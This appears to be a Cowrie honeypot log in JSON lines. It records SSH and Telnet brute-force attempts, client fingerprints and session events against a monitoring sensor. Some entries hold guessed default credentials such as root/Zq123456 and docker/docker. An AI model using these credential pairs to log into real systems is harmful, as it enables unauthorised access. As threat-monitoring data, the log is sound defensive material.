{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:97:34:5f:f2:a7:ab:18:ef:28:c8:c6:a3:b4:f8:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2zJXwbI5acRLbJsXqp7wB4ncFh8TOuWeFVX5t3/AcNujZZjRh+rJhW9iZoWP4bBqn9L/rUr7r0KOqzv9vtYgyuIVEEizVzCYcc17p0gPnUN2qEBBlVRYocLTju0x+YDQppbkgXl0SgiHIOWn273IML6PUIoxetZzCuSU9t10d9CjRUsnmbb7xWO4u5TCRRLU9OaSP+0vrci8/mIug9QNSW4SUi9FftwqWxagH/nmBrMdTrX6H/dUfNSaUCadZC1tmhPYKDmE+4vKcQ6H5r3VRYD8ObYKUWHSqlNDPvUa0/rbK0EbZNmqeR4DndzGtry3W4LJW47cTSAUPac2W+v/fL8y1PmeskTGGtbOIKsLc7ZaGzZ07A3FCLR6eAcjrxlz5TC7V9ytpeNhRLj/CGqQv+tB+ivLxJeMfBnBaGmdCf0ebz1rAsJgYTy/QP6H8AxpHTgKG9E63hIliVnzar9135oBLwwvgfnO50sJEU31kAtmH4Pss5J/kHzK7Cmv1m7L4zps7rjAJ4QLe5HpOnu9iyxAP0Tf48jYwXsN5mXe3szynIdWNz4xUgG7YTXcogN7yAtJqw1BJE+LNsWaHiqqiDXHpQbubrehTuwc7QEh22D4GUZfqJ0l46lr3CHxOw5OgGndy1CGLHicNN027vWiG1wulHoCLfdGc+rr/fLkQaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:97:34:5f:f2:a7:ab:18:ef:28:c8:c6:a3:b4:f8:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.166949Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:97:34:5f:f2:a7:ab:18:ef:28:c8:c6:a3:b4:f8:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2zJXwbI5acRLbJsXqp7wB4ncFh8TOuWeFVX5t3/AcNujZZjRh+rJhW9iZoWP4bBqn9L/rUr7r0KOqzv9vtYgyuIVEEizVzCYcc17p0gPnUN2qEBBlVRYocLTju0x+YDQppbkgXl0SgiHIOWn273IML6PUIoxetZzCuSU9t10d9CjRUsnmbb7xWO4u5TCRRLU9OaSP+0vrci8/mIug9QNSW4SUi9FftwqWxagH/nmBrMdTrX6H/dUfNSaUCadZC1tmhPYKDmE+4vKcQ6H5r3VRYD8ObYKUWHSqlNDPvUa0/rbK0EbZNmqeR4DndzGtry3W4LJW47cTSAUPac2W+v/fL8y1PmeskTGGtbOIKsLc7ZaGzZ07A3FCLR6eAcjrxlz5TC7V9ytpeNhRLj/CGqQv+tB+ivLxJeMfBnBaGmdCf0ebz1rAsJgYTy/QP6H8AxpHTgKG9E63hIliVnzar9135oBLwwvgfnO50sJEU31kAtmH4Pss5J/kHzK7Cmv1m7L4zps7rjAJ4QLe5HpOnu9iyxAP0Tf48jYwXsN5mXe3szynIdWNz4xUgG7YTXcogN7yAtJqw1BJE+LNsWaHiqqiDXHpQbubrehTuwc7QEh22D4GUZfqJ0l46lr3CHxOw5OgGndy1CGLHicNN027vWiG1wulHoCLfdGc+rr/fLkQaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.170712Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:7d:c8:93:07:ca:69:1d:ed:c6:a2:e7:0a:2a:23:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRWP5hXrZC02Q8hhU2v3z3KBKUnryAaY93ZexnVywc6Rga7wBp1+kj27F+AXs5f8l8V2znc4IqNoNNxS4plRXgrp1zTaAskpL7F0dBsMRBtA687PRB6szRups6WGUagm6QDCoiW2EJ4f6nshYJFdMAoToIN+uRRNEpUyQuM4nEenExFPqkwfbQuNd+pgvtzk3Kt3En0lLL1znGiFSSwzzNuzQfIfE/YvpXVg1BsUJQ7lt7G8KkhukGxAxMxBFZ1bTfCyVoq6hps2oa2g1+MaX3Qo0yrLgx95kSab/EoYtBNWdm9MLYYeu3MDavssJxdnJg6orK1QSbealE23ccpr9WlBjfINkHVheS1hfsrJ6U+e9uCUSBl3GNCQMtNrDFa7DxPKZrXo3AklVljquGXgp4yKNIDfdaiQUIZ/Y7KLmWjcdCQsjwB9KmFNi+lgIpx1Qpk3UIqusd18wpt7EbzMsMte5bI57YcGmZS41QlU0pIqq2hBHJiZcJResL8q2KOaavVOewZgzgHQPxSQfo2rk0mAwEOqgBYFYhSh/FHdKbwt+t4dvEWQcdsagqRbp3QecMXLOrirGImzv+Y7tP0OjgdX4oEdtiAlMlxf/aePaTxeKosk8lu36dS2N47Du8AwC5x7eIUGlOB1KrBp3edHbhOwWLoJVb8qWAAxd8fF7FRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:7d:c8:93:07:ca:69:1d:ed:c6:a2:e7:0a:2a:23:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.261927Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:7d:c8:93:07:ca:69:1d:ed:c6:a2:e7:0a:2a:23:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRWP5hXrZC02Q8hhU2v3z3KBKUnryAaY93ZexnVywc6Rga7wBp1+kj27F+AXs5f8l8V2znc4IqNoNNxS4plRXgrp1zTaAskpL7F0dBsMRBtA687PRB6szRups6WGUagm6QDCoiW2EJ4f6nshYJFdMAoToIN+uRRNEpUyQuM4nEenExFPqkwfbQuNd+pgvtzk3Kt3En0lLL1znGiFSSwzzNuzQfIfE/YvpXVg1BsUJQ7lt7G8KkhukGxAxMxBFZ1bTfCyVoq6hps2oa2g1+MaX3Qo0yrLgx95kSab/EoYtBNWdm9MLYYeu3MDavssJxdnJg6orK1QSbealE23ccpr9WlBjfINkHVheS1hfsrJ6U+e9uCUSBl3GNCQMtNrDFa7DxPKZrXo3AklVljquGXgp4yKNIDfdaiQUIZ/Y7KLmWjcdCQsjwB9KmFNi+lgIpx1Qpk3UIqusd18wpt7EbzMsMte5bI57YcGmZS41QlU0pIqq2hBHJiZcJResL8q2KOaavVOewZgzgHQPxSQfo2rk0mAwEOqgBYFYhSh/FHdKbwt+t4dvEWQcdsagqRbp3QecMXLOrirGImzv+Y7tP0OjgdX4oEdtiAlMlxf/aePaTxeKosk8lu36dS2N47Du8AwC5x7eIUGlOB1KrBp3edHbhOwWLoJVb8qWAAxd8fF7FRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.265898Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.358485Z","src_ip":"69.25.10.167","session":"aa4d9873cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:37.381285Z","src_ip":"31.40.204.166","session":"a583ff03dbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:38.510635Z","src_ip":"31.40.204.166","session":"a583ff03dbf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"064b61c8ad74","protocol":"telnet","message":"New connection: 152.42.224.71:41792 (10.17.0.5:23) [session: 064b61c8ad74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:40.903913Z"}
{"eventid":"cowrie.session.closed","duration":23.180688858032227,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:41.054433Z","src_ip":"152.42.224.71","session":"beeb2c4f4a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":52532,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6a2998dfec","protocol":"telnet","message":"New connection: 134.209.74.135:52532 (159.203.135.109:23) [session: 8f6a2998dfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:46.371295Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38922,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c2f369bfa9c","protocol":"telnet","message":"New connection: 152.42.224.71:38922 (10.17.0.5:23) [session: 9c2f369bfa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:47.120206Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52850,"dst_ip":"159.203.135.109","dst_port":22,"session":"999180e29060","protocol":"ssh","message":"New connection: 31.40.204.166:52850 (159.203.135.109:22) [session: 999180e29060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:48.000360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:48.011182Z","src_ip":"31.40.204.166","session":"999180e29060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:48.182613Z","src_ip":"31.40.204.166","session":"999180e29060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:48.784245Z","src_ip":"31.40.204.166","session":"999180e29060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:49.910901Z","src_ip":"31.40.204.166","session":"999180e29060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38928,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bafbcd54a73","protocol":"telnet","message":"New connection: 152.42.224.71:38928 (10.17.0.5:23) [session: 8bafbcd54a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:51.472641Z"}
{"eventid":"cowrie.session.closed","duration":38.70125150680542,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:54.375779Z","src_ip":"152.42.224.71","session":"ba9dda73ab8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86158800125122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:54.907434Z","src_ip":"152.42.224.71","session":"567b62e33163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38944,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e15a3d1d95a","protocol":"telnet","message":"New connection: 152.42.224.71:38944 (10.17.0.5:23) [session: 5e15a3d1d95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:55.508024Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"288059fe5a59","protocol":"telnet","message":"New connection: 152.42.224.71:52218 (10.17.0.5:23) [session: 288059fe5a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:55.866001Z"}
{"eventid":"cowrie.session.closed","duration":46.11422777175903,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:56.938605Z","src_ip":"152.42.224.71","session":"01c4a2803b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36402,"dst_ip":"159.203.135.109","dst_port":22,"session":"a567c0efe10c","protocol":"ssh","message":"New connection: 31.40.204.166:36402 (159.203.135.109:22) [session: a567c0efe10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.229311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.234255Z","src_ip":"31.40.204.166","session":"a567c0efe10c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.389058Z","src_ip":"31.40.204.166","session":"a567c0efe10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.71520709991455,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.777910Z","src_ip":"152.42.224.71","session":"4ec746686987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.05339598655701,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.833092Z","src_ip":"152.42.224.71","session":"1cb225632119","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:59.895534Z","src_ip":"31.40.204.166","session":"a567c0efe10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:01.021924Z","src_ip":"31.40.204.166","session":"a567c0efe10c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":50199,"dst_ip":"10.17.0.5","dst_port":22,"session":"5846783fd00b","protocol":"ssh","message":"New connection: 179.176.210.17:50199 (10.17.0.5:22) [session: 5846783fd00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:03.406057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:03.414274Z","src_ip":"179.176.210.17","session":"5846783fd00b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:04.009683Z","src_ip":"179.176.210.17","session":"5846783fd00b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zq123456","message":"login attempt [root/Zq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:04.656250Z","src_ip":"179.176.210.17","session":"5846783fd00b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.25483989715576,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:05.765182Z","src_ip":"152.42.224.71","session":"6815d2b6d8fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:05.812253Z","src_ip":"179.176.210.17","session":"5846783fd00b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.96100211143494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:06.081034Z","src_ip":"152.42.224.71","session":"90d467426191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d6ffd7b79e","protocol":"telnet","message":"New connection: 152.42.224.71:47256 (10.17.0.5:23) [session: 85d6ffd7b79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:06.312769Z"}
{"eventid":"cowrie.session.closed","duration":47.54991412162781,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:10.216634Z","src_ip":"152.42.224.71","session":"a1cc4ea917c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecba88334bd7","protocol":"telnet","message":"New connection: 152.42.224.71:47270 (10.17.0.5:23) [session: ecba88334bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:12.345956Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58234,"dst_ip":"159.203.135.109","dst_port":22,"session":"751e85b7a906","protocol":"ssh","message":"New connection: 31.40.204.166:58234 (159.203.135.109:22) [session: 751e85b7a906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:12.417404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:12.431246Z","src_ip":"31.40.204.166","session":"751e85b7a906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:12.591188Z","src_ip":"31.40.204.166","session":"751e85b7a906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.94027137756348,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:13.070729Z","src_ip":"152.42.224.71","session":"76d4eeb83554","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:13.085437Z","src_ip":"31.40.204.166","session":"751e85b7a906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:14.491143Z","src_ip":"31.40.204.166","session":"751e85b7a906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.37486243247986,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:15.881770Z","src_ip":"152.42.224.71","session":"d6e389169db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3322fbdfc5fa","protocol":"telnet","message":"New connection: 152.42.224.71:57392 (10.17.0.5:23) [session: 3322fbdfc5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:16.939067Z"}
{"eventid":"cowrie.session.closed","duration":22.288305044174194,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:19:18.154190Z","src_ip":"152.42.224.71","session":"288059fe5a59","protocol":"telnet"}
